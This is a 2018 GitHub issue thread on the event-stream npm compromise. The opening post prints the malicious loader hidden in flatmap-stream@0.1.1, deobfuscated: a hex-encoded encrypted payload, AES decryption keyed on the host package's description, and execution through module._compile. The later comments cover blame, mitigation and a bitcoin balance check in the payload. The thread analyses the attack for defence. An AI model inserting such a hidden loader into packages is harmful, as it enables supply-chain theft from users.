New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

I don't know what to say. #116

Open
FallingSnow opened this Issue Nov 20, 2018 · 211 comments

Comments

Projects
None yet
@FallingSnow

FallingSnow commented Nov 20, 2018

@dominictarr Why was @right9ctrl given access to this repo? He added flatmap-stream which is entirely (1 commit to the repo but has 3 versions, the latest one removes the injection, unmaintained, created 3 months ago) an injection targeting ps-tree. After he adds it at almost the exact same time the injection is added to flatmap-stream, he bumps the version and publishes. Literally the second commit (3 days later) after that he removes the injection and bumps a major version so he can clear the repo of having flatmap-stream but still have everyone (millions of weekly installs) using 3.x affected.

@right9ctrl If you removed flatmap-stream because your realized it was an injection attack why didn't you yank event-stream@3.3.6 from npm and put a PSA? If you didn't know, why did you choose to use a completely unused/unknown library (0 downloads on npm until you use it)? If I had the exact date from npm in which flatmap-stream@0.1.1 was published I wouldn't be asking you questions.

I've included a break down of what I have so far on flatmap-stream below. It includes the portion of code not found in the unminified source of flatmap-stream@0.1.1 but found in the minified source. The code has been cleaned up a little to get a better understanding.

The worst part is I still don't even know what this does... The decrypted data n[0] is byte code or something, not regular javascript, or maybe I'm just not handling it correctly.

// var r = require, t = process;

// function e(r) {
//     return Buffer.from(r, "hex").toString()
// }
function decode(data) {
    return Buffer.from(data, "hex").toString()
}

// var n = r(e("2e2f746573742f64617461")),
// var n = require(decode("2e2f746573742f64617461"))
// var n = require('./test/data')
var n = ["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"]
    // o = t[e(n[3])][e(n[4])];
    // npm_package_description = process[decode(n[3])][decode(n[4])];
    // npm_package_description = process['env']['npm_package_description'];
    npm_package_description = 'Get all children of a pid'; // Description from ps-tree (this is the aes decryption key)

// if (!o) return;
if (!npm_package_description) return;

// var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
// var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description),
var decipher = require('crypto')['createDecipher']('aes256', npm_package_description),

    // a = u.update(n[0], e(n[8]), e(n[9]));
    // decoded = decipher.update(n[0], e(n[8]), e(n[9]));
    decoded = decipher.update(n[0], 'hex', 'utf8');

console.log(n); // IDK why this is here...

// a += u.final(e(n[9]));
decoded += decipher.final('utf8');

// var f = new module.constructor;
var newModule = new module.constructor;

/**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/
// f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
// newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1])
// newModule.paths = module.paths
// newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename)
// newModule.exports(n[1])
@jaydenseric

This comment has been minimized.

jaydenseric commented Nov 21, 2018

@FallingSnow did you manage to work out what the attack does?

@FallingSnow

This comment has been minimized.

FallingSnow commented Nov 21, 2018

No. I spent a better part of a day trying to get something other than gibberish out of the encrypted AES payload. I've tried executing the gibberish and it errors out.

I believe there are 2 possible reasons I haven't been able to get the actual payload's code.

  • I might not be using the correct passphrase. Even though the description for ps-tree is the only passphrase that actually successfully decrypts the encrypted payload, it may still not be the correct passphrase.
  • I'm using an invalid charset with the payload?
@jaydenseric

This comment has been minimized.

jaydenseric commented Nov 21, 2018

unpkg link to help other people poke around: https://unpkg.com/flatmap-stream@0.1.1/index.min.js

@dominictarr

This comment has been minimized.

Owner

dominictarr commented Nov 22, 2018

he emailed me and said he wanted to maintain the module, so I gave it to him. I don't get any thing from maintaining this module, and I don't even use it anymore, and havn't for years.

@dominictarr

This comment has been minimized.

Owner

dominictarr commented Nov 22, 2018

note: I no longer have publish rights to this module on npm.

@XhmikosR

This comment has been minimized.

XhmikosR commented Nov 22, 2018

Please contact npm support and they will take care of the situation.

@limonte

This comment has been minimized.

limonte commented Nov 22, 2018

note: I no longer have publish rights to this module on npm.

npm owner ls event-stream

right9ctrl <right9ctrl@outlook.com>

Transfer publishing rights to the unknown dude, but keep the repo under your username. Well done, mate 👍

@dominictarr

This comment has been minimized.

Owner

dominictarr commented Nov 22, 2018

@limonte I tried to transfer it to @right9ctrl but github errored because they already had a fork of it at http://github.com/right9ctrl/event-stream

If you guys feel strongly about this, why don't you volunteer to maintain it and contact npm support?

@jaydenseric

This comment has been minimized.

jaydenseric commented Nov 23, 2018

To know if your project is in danger, run:

npm ls event-stream flatmap-stream

The bad actor has publishing rights to event-stream and flatmap-stream contains the malicious code (specifically flatmap-stream@0.1.1, but any future version can't be trusted).

Here is an example result from one of my projects:

[redacted]
└─┬ npm-run-all@4.1.3
  └─┬ ps-tree@1.1.0
    └─┬ event-stream@3.3.6
      └── flatmap-stream@0.1.2
@XhmikosR

This comment has been minimized.

XhmikosR commented Nov 23, 2018

@dominictarr: although I completely disagree with someone else contacting npm support, I contacted npm support myself for now.

You put at risk millions of people, and making something for free, but public, means you are responsible for the package.

Anyway, I don't want to argue about this, I just want the issue to be solved, because this is a popular package.

@limonte

This comment has been minimized.

limonte commented Nov 23, 2018

If you guys feel strongly about this, why don't you volunteer to maintain it and contact npm support?

@dominictarr Apparently, you don't want to take any responsibility for this package. That's fine, it's the free community, do whatever you want. But at least indicate somehow that you're not maintaining this repo anymore, e.g. archive the repo

When you archive a repository, you are letting people know that a project is no longer actively maintained.

@jaydenseric

This comment has been minimized.

jaydenseric commented Nov 23, 2018

There is a huge difference between not maintaining a repo/package, vs giving it away to a hacker (which actually takes more effort than doing nothing), then denying all responsibility to fix it when it affects millions of innocent people.

ChrisBAshton added a commit to BBC-News/simorgh that referenced this issue Nov 26, 2018

@ChrisBAshton ChrisBAshton referenced this issue Nov 26, 2018

Closed

replaces npm-run-all with concurrently #988

0 of 2 tasks complete

ChrisBAshton added a commit to BBC-News/simorgh that referenced this issue Nov 26, 2018

lock event-stream to 3.3.4
fixes vulnerability highlighted in dominictarr/event-stream#116

@ChrisBAshton ChrisBAshton referenced this issue Nov 26, 2018

Closed

lock event-stream to 3.3.4 #990

0 of 2 tasks complete

ChrisBAshton added a commit to BBC-News/simorgh that referenced this issue Nov 26, 2018

@Fishrock123

This comment has been minimized.

Fishrock123 commented Nov 26, 2018

@FallingSnow Heya, could you please update the title to something more informative, and edit in a header section into your OP on what people can do to mitigate/remove/etc this from their codebase?

@peterklipfel

This comment has been minimized.

peterklipfel commented Nov 26, 2018

@fedidat - this looked suspicious to me: right9ctrl/node-scrypt@f14ed8d#diff-78438df028eeb09f1dee525028604edfR83

But I haven't found any definitive badness yet

@ip1981

This comment has been minimized.

ip1981 commented Nov 26, 2018

Copy on write FTW. If you don't maintain the package, abandon it, let others fork and publish under different name, etc

hwillson added a commit to apollographql/apollo-tooling that referenced this issue Nov 26, 2018

Add event-stream as a dep and lock it (security issue)
As identified in dominictarr/event-stream#116,
`event-stream` has a major security issue (malware injection) in
version 3.3.6 (thanks to `flatmap-stream` version 0.1.1).
`event-stream` 3.3.6 is referenced as a child dep in this
project, through `tsc-watch` and `vscode-apollo` / `vscode`.

This commit adds `event-stream` as a top level dependency, and
locks it to the most recent version that excludes `flatmap-stream`
(version 3.3.4).

This should work for now, but ultimately `tsc-watch` and
`vscode` should be updated to newer versions, that address this
issue (since their child deps are the problem). Both projects
have yet to submit fixes to this problem.
@maximumultraist

This comment has been minimized.

maximumultraist commented Nov 26, 2018

I

LOVE

COMPUTERS!!!!!!!!!!!!!!!!11111111111111111111111111111111111!!!!!!!!!!!!!!!!!!!!!!!!!!

1 similar comment
@maximumultraist

This comment was marked as off-topic.

maximumultraist commented Nov 26, 2018

I

LOVE

COMPUTERS!!!!!!!!!!!!!!!!11111111111111111111111111111111111!!!!!!!!!!!!!!!!!!!!!!!!!!

@piedoom

This comment has been minimized.

piedoom commented Nov 26, 2018

You put at risk millions of people, and making something for free, but public, means you are responsible for the package.

No, if you aren't properly auditing your packages, YOU are putting your own project and users at risk. Do not rely on maintainers (especially those who are providing a free service to you) to do all of your development work for you.

Maintainers should try to secure their projects, but this entitled attitude is ridiculous.

My 2 cents nobody asked for: I understand it's difficult since node projects have somewhere between 150 billion - 12 zillion dependences since JS has a crowdsourced stdlib for whatever reason, but still... If you want security maybe move away from node. Now is a good of a time as any to talk about Rust. It has

  • zero-cost abstractions
  • move semantics
  • guaranteed memory safety
  • threads without data races
  • trait-based generics
  • pattern matching
  • type inference
  • minimal runtime
  • efficient C bindings
@lanodan

This comment has been minimized.

lanodan commented Nov 26, 2018

Would gpg-signing and code reviews mitigate this issue?

No, gpg-signing wouldn't. This was no side-loading of a malicious package from an untrusted source. The problem here is the original maintainer of the package, who was giving away the access permissions to his software repository to a stranger. Even a signature wouldn't help here, because I am sure that the maintainer would even give the private keys for the signature to the stranger....

Code reviews would have helped.

What would fix the issue here in my opinion is not having a pile of rights on code, one shouldn’t be allowed to push code this widely, be it for security or just stability.
There should be package maintainers in the npm repository like in any distribution, just regular quick code reading or automated scanning would have noticed that something is completely wrong here.

@shibumi

This comment has been minimized.

shibumi commented Nov 26, 2018

Would gpg-signing and code reviews mitigate this issue?

No, gpg-signing wouldn't. This was no side-loading of a malicious package from an untrusted source. The problem here is the original maintainer of the package, who was giving away the access permissions to his software repository to a stranger. Even a signature wouldn't help here, because I am sure that the maintainer would even give the private keys for the signature to the stranger....
Code reviews would have helped.

Unfortunately Code Reviews do NOT help, as the code on github doesn't need to be the one being built and published to npm. You can actually build locally and publish something entirely different!

While true, having an automated way to verify that builds are reproducible would help here. (I wrote one for the PHP community.)

@paragonie-scott @MattDiMu Then the problem lies in npm itself.. why do they allow such a harmful release policy.

@lmcarreiro

This comment has been minimized.

lmcarreiro commented Nov 26, 2018

@gcardy in the article's attack, it detects if there is a CSP and avoid sending requests from apps that uses a CSP. But my question is if this @right9ctrl attack uses some code to workaround a good CSP or not. If my bitcoin wallet uses this vulnerable package and uses a good CSP, could my wallets been stolen?

@ProLoser

This comment has been minimized.

ProLoser commented Nov 26, 2018

Arguing blame is moot at this point. I suggest keeping the discussion focused entirely on solutions before alienating those who may be trying to assist.

@shibumi

This comment has been minimized.

shibumi commented Nov 26, 2018

You put at risk millions of people, and making something for free, but public, means you are responsible for the package.

No, if you aren't properly auditing your packages, YOU are putting your own project and users at risk. Do not rely on maintainers (especially those who are providing a free service to you) to do all of your development work for you.

Maintainers should try to secure their projects, but this entitled attitude is ridiculous.

My 2 cents nobody asked for: I understand it's difficult since node projects have somewhere between 150 billion - 12 zillion dependences since JS has a crowdsourced stdlib for whatever reason, but still... If you want security maybe move away from node. Now is a good of a time as any to talk about Rust. It has

  • zero-cost abstractions
  • move semantics
  • guaranteed memory safety
  • threads without data races
  • trait-based generics
  • pattern matching
  • type inference
  • minimal runtime
  • efficient C bindings

Dude I don't think this problem is connected to javascript. The problem lies in the ecosystem around javascript. npm is harmful and outdated and the maintainers should start using static dependencies and update dependencies only after code reviews. And most importantly: Maintainers should not trust random dudes from the internet.

vladimyr added a commit to ExtensionEngine/boutique that referenced this issue Nov 26, 2018

@N3X15

This comment has been minimized.

N3X15 commented Nov 26, 2018

Just an FYI, if you're posting and get "You can't comment at this time", be patient, don't mash comment twice. GitHub is currently being awful and is spitting out false errors. It'll go through after a minute or so.

@piedoom

This comment has been minimized.

piedoom commented Nov 26, 2018

Dude I don't think this problem is connected to javascript. The problem lies in the ecosystem around javascript.

🤔

@shibumi

This comment has been minimized.

shibumi commented Nov 26, 2018

@dominictarr @FallingSnow maybe just close this issues and stop commenting on it?

@bennyty

This comment has been minimized.

bennyty commented Nov 26, 2018

@lmcarreiro It's important to note that the article's attacks and CSP-avoiding workarounds are entirely theoretical. FYI for anyone who hasn't read it.

I know that sometimes my relentless sarcasm can be difficult to unravel by people on the English-learning path (and also people in need of lightening up). So just to be clear, I have not created an npm package that steals information. This post is entirely fictional, but altogether plausible, and I hope at least a little educational.
Although this is all made up, it worries me that none of this is hard.

@zawadzkip

This comment has been minimized.

zawadzkip commented Nov 26, 2018

1 similar comment
@MaPePeR

This comment has been minimized.

MaPePeR commented Nov 26, 2018

And most importantly: Maintainers should not trust random dudes from the internet.

Not sure if you mean @dominictarr or all the people that used this package as a dependency. 🤔

@pcworld

This comment has been minimized.

pcworld commented Nov 26, 2018

@patosai Doesn't the source code use 1000 (and not 100) as the limit for Bitcoin Cash? "btc" == t.coin && t.balance < 100 ||"bch" == t.coin && t.balance < 1e3

@mautematico

This comment has been minimized.

mautematico commented Nov 26, 2018

@fharper I think it's worth trying to get your attention on this; may be npm can help with an aditional step before allowing publishing an update that introduces security risks to a popular package or something?

@pcworld

This comment has been minimized.

pcworld commented Nov 26, 2018

@patosai Doesn't the source code use 1000 (and not 100) as the limit for Bitcoin Cash? "btc" == t.coin && t.balance < 100 ||"bch" == t.coin && t.balance < 1e3

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment